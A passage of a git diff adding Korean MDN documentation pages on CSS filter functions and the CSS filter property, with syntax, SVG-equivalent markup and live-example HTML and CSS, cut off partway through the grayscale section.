+ &lt;option&gt;contrast&lt;/option&gt;
+ &lt;option&gt;drop-shadow&lt;/option&gt;
+ &lt;option&gt;grayscale&lt;/option&gt;
+ &lt;option&gt;hue-rotate&lt;/option&gt;
+ &lt;option&gt;invert&lt;/option&gt;
+ &lt;option&gt;opacity&lt;/option&gt;
+ &lt;option&gt;saturate&lt;/option&gt;
+ &lt;option&gt;sepia&lt;/option&gt;
+ &lt;/select&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;input type="range"&gt;&lt;output&gt;&lt;/output&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;p&gt;Current value: &lt;code&gt;&lt;/code&gt;&lt;/p&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+ width: 300px;
+ height: 300px;
+ background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center;
+}
+
+li {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ margin-bottom: 20px;
+}
+
+input {
+ width: 60%
+}
+
+output {
+ width: 5%;
+ text-align: center;
+}
+
+select {
+ width: 40%;
+ margin-left: 2px;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">const selectElem = document.querySelector('select');
+const divElem = document.querySelector('div');
+const slider = document.querySelector('input');
+const output = document.querySelector('output');
+const curValue = document.querySelector('p code');
+
+selectElem.addEventListener('change', () =&gt; {
+ setSlider(selectElem.value);
+ setDiv(selectElem.value);
+});
+
+slider.addEventListener('input', () =&gt; {
+ setDiv(selectElem.value);
+});
+
+function setSlider(filter) {
+ if(filter === 'blur') {
+ slider.value = 0;
+ slider.min = 0;
+ slider.max = 30;
+ slider.step = 1;
+ slider.setAttribute('data-unit', 'px');
+ } else if(filter === 'brightness' || filter === 'contrast' || filter === 'saturate') {
+ slider.value = 1;
+ slider.min = 0;
+ slider.max = 4;
+ slider.step = 0.05;
+ slider.setAttribute('data-unit', '');
+ } else if(filter === 'drop-shadow') {
+ slider.value = 0;
+ slider.min = -20;
+ slider.max = 40;
+ slider.step = 1;
+ slider.setAttribute('data-unit', 'px');
+ } else if(filter === 'opacity') {
+ slider.value = 1;
+ slider.min = 0;
+ slider.max = 1;
+ slider.step = 0.01;
+ slider.setAttribute('data-unit', '');
+ } else if(filter === 'grayscale' || filter === 'invert' || filter === 'sepia') {
+ slider.value = 0;
+ slider.min = 0;
+ slider.max = 1;
+ slider.step = 0.01;
+ slider.setAttribute('data-unit', '');
+ } else if(filter === 'hue-rotate') {
+ slider.value = 0;
+ slider.min = 0;
+ slider.max = 360;
+ slider.step = 1;
+ slider.setAttribute('data-unit', 'deg');
+ }
+}
+
+function setDiv(filter) {
+ if(filter === 'drop-shadow') {
+ divElem.style.filter = `${selectElem.value}(${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(Math.abs(slider.value/2))}${slider.getAttribute('data-unit')})`;
+ } else {
+ divElem.style.filter = `${selectElem.value}(${slider.value}${slider.getAttribute('data-unit')}`;
+ }
+
+ updateOutput();
+ updateCurValue();
+}
+
+function updateOutput() {
+ output.textContent = slider.value;
+}
+
+function updateCurValue() {
+ curValue.textContent = `필터: ${divElem.style.filter}`;
+}
+
+setSlider(selectElem.value);
+setDiv(selectElem.value);</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('필터_함수_비교', '100%', 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Filters 1.0', '#typedef-filter-function', '&lt;filter-function&gt;') }}</td>
+ <td>{{ Spec2('Filters 1.0') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>자료형을 사용하는 속성: {{cssxref("filter")}}, {{cssxref("backdrop-filter")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter/index.html b/files/ko/web/css/filter/index.html
new file mode 100644
index 0000000000..8020311f12
--- /dev/null
+++ b/files/ko/web/css/filter/index.html
@@ -0,0 +1,1138 @@
+---
+title: filter
+slug: Web/CSS/filter
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - SVG
+ - SVG Filter
+ - 'recipe:css-property'
+translation_of: Web/CSS/filter
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>filter</code></strong> 속성은 흐림 효과나 색상 변형 등 그래픽 효과를 요소에 적용합니다.</span> 보통 필터는 이미지, 배경, 테두리 렌더링을 조정하는 데 쓰입니다.</p>
+
+<p>CSS 표준은 미리 정의된 효과를 내는 몇 가지 함수를 포함하고 있습니다. <a href="/ko/docs/Web/SVG/Element/filter">SVG 필터 요소</a>를 가리키는 URL 참조를 사용하여 SVG 필터를 적용할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/filter.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* SVG 필터를 가리키는 URL */
+filter: url("filters.svg#filter-id");
+
+/* &lt;filter-function&gt; 값 */
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* 다중 값 */
+filter: contrast(175%) brightness(3%);
+
+/* 필터 없음 */
+filter: none;
+
+/* 전역 값 */
+filter: inherit;
+filter: initial;
+filter: unset;</pre>
+
+<p>함수를 사용하려면 다음 구문을 사용하세요.</p>
+
+<pre class="syntaxbox notranslate">filter: &lt;filter-function&gt; [&lt;filter-function&gt;]* | none
+</pre>
+
+<p>SVG {{SVGElement("filter")}} 요소에 대한 참조를 사용하려면 다음 구문을 사용하세요.</p>
+
+<pre class="syntaxbox notranslate">filter: url(svg-url#element-id)
+</pre>
+
+<h3 id="보간">보간</h3>
+
+<p>보간의 처음과 끝 필터의 함수 목록 길이가 같고, 그 안에 {{cssxref("&lt;url&gt;")}} 값이 없으면, 각 필터 함수는 스스로의 특정 규칙을 따라 보간됩니다. 함수의 길이가 서로 다를 때는 긴 필터 목록에만 존재하는 필터를 짧은 필터 목록에 추가하며, 이 때 추가된 필터의 값으로는 누락 값(누락 시의 기본값)을 사용합니다. 이후 각 필터 함수는 서로 동일한 길이일 때와 같은 방식으로 보간합니다. 만약 한쪽의 필터가 <code>none</code>일 경우 다른 쪽 필터 목록을 모두 가져오고, 각각에 누락 값을 대입한 후 보간합니다. 이 외의 경우에는 이산적 보간을 사용합니다.</p>
+
+<h2 id="함수">함수</h2>
+
+<p><code>filter</code> 속성은 <code>none</code> 또는 아래의 함수를 하나 이상 사용해 지정할 수 있습니다. 어떤 함수의 매개변수가 유효하지 않다면, 그 함수는 <code>none</code>을 반환합니다. 따로 명시하지 않으면 백분율 값(<code>34%</code> 등)을 받는 함수는 그 백분율의 소수 표기(<code>0.34</code> 등)도 받을 수 있습니다.</p>
+
+<h3 id="SVG_필터">SVG 필터</h3>
+
+<h4 id="url"><code>url()</code></h4>
+
+<p><a href="/ko/docs/Web/SVG/Element/filter">SVG 필터</a>를 가리키는 URI를 받습니다. 외부 XML 파일에 포함된 필터도 가능합니다.</p>
+
+<pre class="brush: css notranslate">filter: url(resources.svg#c1)</pre>
+
+<h3 id="필터_함수">필터 함수</h3>
+
+<h4 id="blur"><code>blur()</code></h4>
+
+<p>{{cssxref("filter-function/blur", "blur()")}} 함수는 주어진 이미지에 가우시안 블러를 적용합니다. <code>radius</code> 값은 정규 분포의 표준 편차, 즉 화면에서 혼합할 픽셀의 수를 지정하므로 값이 클수록 이미지가 흐려집니다. 보간 시 누락값은 <code>0</code>입니다. 매개변수는 CSS 길이로 명시되어 있지만 백분율 값은 받지 않습니다.</p>
+
+<pre class="brush: css notranslate">filter: blur(5px)
+</pre>
+
+<div id="blur_example" style="display: none;">
+<pre class="brush: html notranslate"> &lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg id="img3" viewbox="0 0 233 176"&gt;
+ &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%" &gt;
+ &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" /&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3710/Test_Form_2.jpeg" filter="url(#svgBlur)" x="5%" y="5%" width="212px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3711/Test_Form_2_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter:blur(5px);
+ -webkit-filter:blur(5px);
+ -o-filter:blur(5px);
+ -ms-filter:blur(5px);
+ filter:blur(5px); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ height: 100%;
+ width: 85%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%"&gt;
+ &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5"/&gt;
+ &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('blur_example','100%','236px','','', 'no-codepen')}}</p>
+
+<h4 id="brightness"><code>brightness()</code></h4>
+
+<p>{{cssxref("filter-function/brightness", "brightness()")}} 함수는 주어진 이미지에 선형 배수를 적용하여 이미지를 밝거나 어둡게 표시합니다. <code>0%</code>일 경우 완전히 검은색 이미지가 되고, <code>100%</code>일 경우 이미지가 그대로 유지되며, 이외의 값은 효과의 선형 배수로 작용합니다. <code>100%</code>보다 큰 값도 허용되며, 이때는 더 밝은 이미지가 생성됩니다. 보간 시 누락값은 <code>1</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: brightness(0.5)</pre>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="brightness"&gt;
+ &lt;feComponentTransfer&gt;
+ &lt;feFuncR type="linear" slope="[amount]"/&gt;
+ &lt;feFuncG type="linear" slope="[amount]"/&gt;
+ &lt;feFuncB type="linear" slope="[amount]"/&gt;
+ &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="brightness_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 286 217"&gt;
+ &lt;filter id="brightness"&gt;
+ &lt;feComponentTransfer&gt;
+ &lt;feFuncR type="linear" slope="2"/&gt;
+ &lt;feFuncG type="linear" slope="2"/&gt;
+ &lt;feFuncB type="linear" slope="2"/&gt;
+ &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3708/Test_Form.jpg" filter="url(#brightness)" width="286px" height="217px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3709/Test_Form_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter:brightness(2);
+ -webkit-filter:brightness(2);
+ -o-filter:brightness(2);
+ -ms-filter:brightness(2);
+ filter:brightness(2); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ height:100%;
+ width: 85%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('brightness_example','100%','231px','','', 'no-codepen')}}</p>
+
+<h4 id="contrast"><code>contrast()</code></h4>
+
+<p>{{cssxref("filter-function/constrast", "constrast()")}} 함수는 주어진 이미지의 대비를 조정합니다. <code>0%</code>일 경우 완전히 회색 이미지가 되고, <code>100%</code>일 경우 이미지가 그대로 유지됩니다. <code>100%</code>보다 큰 값도 허용되며, 이때는 대비가 더 큰 이미지가 생성됩니다. 보간 시 누락값은 <code>1</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: contrast(200%)
+</pre>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="contrast"&gt;
+ &lt;feComponentTransfer&gt;
+ &lt;feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+ &lt;feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+ &lt;feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+ &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="contrast_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_3.jpeg" id="img1" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_3.jpg" id="img2" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 240 151"&gt;
+ &lt;filter id="contrast"&gt;
+ &lt;feComponentTransfer&gt;
+ &lt;feFuncR type="linear" slope="2" intercept="-0.5"/&gt;
+ &lt;feFuncG type="linear" slope="2" intercept="-0.5"/&gt;
+ &lt;feFuncB type="linear" slope="2" intercept="-0.5"/&gt;
+ &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3712/Test_Form_3.jpeg" filter="url(#contrast)" width="240px" height="151px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3713/Test_Form_3_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter:contrast(200%);
+ -webkit-filter:contrast(200%);
+ -o-filter:contrast(200%);
+ -ms-filter:contrast(200%);
+ filter:contrast(200%); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('contrast_example','100%','203px','','', 'no-codepen')}}</p>
+
+<h4 id="drop-shadow"><code>drop-shadow()</code></h4>
+
+<p>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}} 함수는 주어진 이미지에 그림자 효과를 적용합니다. 이때 추가하는 그림자는, 주어진 이미지의 알파 마스크에 특정한 색상과 오프셋, 흐림 효과를 적용하고 이미지 밑에 합성한 것입니다. 이 함수는 <code>inset</code> 키워드를 제외하고 (CSS3 Backgrounds에 정의된) <code>&lt;shadow&gt;</code> 자료형의 매개변수를 그대로 받을 수 있습니다. <code>drop-shadow()</code>는 보다 확립된 {{cssxref("box-shadow")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다. <code>&lt;shadow&gt;</code> 값의 매개변수는 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code> <small>(필수)</small></dt>
+ <dd>그림자 오프셋을 설정하는 두 {{cssxref("&lt;length&gt;")}} 값입니다. <code>&lt;offset-x&gt;</code>는 가로 거리를 지정하며, 음수일 경우 그림자가 왼쪽에 배치됩니다. <code>&lt;offset-y&gt;</code>는 세로 거리를 지정하며, 음수일 경우 그림자가 위쪽에 배치됩니다. 가능한 단위는 {{cssxref("&lt;length&gt;")}}를 참조하세요.<br>
+ 두 값이 모두 <code>0</code>이면 그림자가 요소 바로 밑에 배치되며, <code>&lt;blur-radius&gt;</code>나 <code>&lt;spread-radius&gt;</code>를 설정한 경우 흐림 효과를 표시할 수 있습니다.</dd>
+ <dt><code>&lt;blur-radius&gt;</code> <small>(선택)</small></dt>
+ <dd>세 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 클수록 흐려지는 반경이 커지고 그림자가 옅어집니다. 음수 값은 사용할 수 없습니다. 값을 지정하지 않으면 <code>0</code>으로 취급하여 그림자 가장자리가 날카로워집니다.</dd>
+ <dt><code>&lt;color&gt;</code> <small>(선택)</small></dt>
+ <dd>가능한 키워드 및 표기법은 {{cssxref("&lt;color&gt;")}}를 참조하세요. 값을 지정하지 않았을 때의 색상은 브라우저에 따라 다릅니다. 보통 {{cssxref("&lt;color&gt;")}} 속성의 값을 사용하지만, 현재 사파리는 투명한 그림자를 그리는 것을 주의하세요.</dd>
+</dl>
+
+<pre class="brush: css notranslate">filter: drop-shadow(16px 16px 10px black)</pre>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="drop-shadow"&gt;
+ &lt;feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/&gt;
+ &lt;feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/&gt;
+ &lt;feFlood flood-color="[color]"/&gt;
+ &lt;feComposite in2="offsetblur" operator="in"/&gt;
+ &lt;feMerge&gt;
+ &lt;feMergeNode/&gt;
+ &lt;feMergeNode in="SourceGraphic"/&gt;
+ &lt;/feMerge&gt;
+ &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="shadow_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_4.jpeg" id="img1" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_4.jpg" id="img2" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 239 187"&gt;
+ &lt;filter id="drop-shadow"&gt;
+ &lt;feGaussianBlur in="SourceAlpha" stdDeviation="5"/&gt;
+ &lt;feOffset dx="16" dy="16"/&gt;
+ &lt;feMerge&gt;
+ &lt;feMergeNode/&gt;
+ &lt;feMergeNode in="SourceGraphic"/&gt;
+ &lt;/feMerge&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3714/Test_Form_4.jpeg" filter="url(#drop-shadow)" width="213px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_4_s.jpg" id="img4" class="internal default" src="/files/3715/Test_Form_4_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Original image" id="img11" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Live example" id="img12" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;
+ &lt;div class="svg-container"&gt;
+ &lt;svg xmlns="http://www.w3.org/2000/svg" id="img13" viewbox="0 0 239 187"&gt;
+ &lt;filter id="drop-shadow2"&gt;
+ &lt;feGaussianBlur in="SourceAlpha" stdDeviation="4"/&gt;
+ &lt;feOffset dx="8" dy="10"/&gt;
+ &lt;feMerge&gt;
+ &lt;feMergeNode/&gt;
+ &lt;feMergeNode in="SourceGraphic"/&gt;
+ &lt;/feMerge&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png<span style="font-size: 1rem;">" filter="url(#drop-shadow2)" width="213px" height="161px" /&gt;</span>
+ &lt;/svg&gt;
+ &lt;div&gt;
+ &lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_4 distorded border drop shadow - Static example" id="img14" class="internal default" src="/files/8469/Test_Form_4_irregular-shape_opacity-gradient_drop-shadow.png" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter: drop-shadow(16px 16px 10px black);
+ -webkit-filter: drop-shadow(16px 16px 10px black);
+ -o-filter: drop-shadow(16px 16px 10px black);
+ -ms-filter: drop-shadow(16px 16px 10px black);
+ filter: drop-shadow(16px 16px 10px black);
+}
+#img12 {
+ width:100%;
+ height:auto;
+ -moz-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+ -webkit-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+ -o-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+ -ms-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+ filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+}
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+#irregular-shape {
+ width: 64%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3, #img13 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('shadow_example','100%','300px','','','no-codepen')}}</p>
+
+<h4 id="grayscale"><code>grayscale()</code></h4>
+
+<p>{{cssxref("filter-function/grayscale", "grayscale()")}} 함수는 주어진 이미지를 흑백으로 변환합니다. <code>amount</code> 값은 흑백으로 전환하는 비율을 지정합니다. <code>100%</code>일 경우 완전히 흑백 이미지가 되고, <code>0%</code>일 경우 이미지가 그대로 유지되며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 <code>0</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: grayscale(100%)</pre>
+
+<div id="grayscale_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_5.jpeg" id="img1" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_5.jpg" id="img2" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 184"&gt;
+ &lt;filter id="grayscale"&gt;
+ &lt;feColorMatrix type="matrix"
+ values="0.2126 0.7152 0.0722 0 0
+ 0.2126 0.7152 0.0722 0 0
+ 0.2126 0.7152 0.0722 0 0
+ 0 0 0 1 0"/&gt;
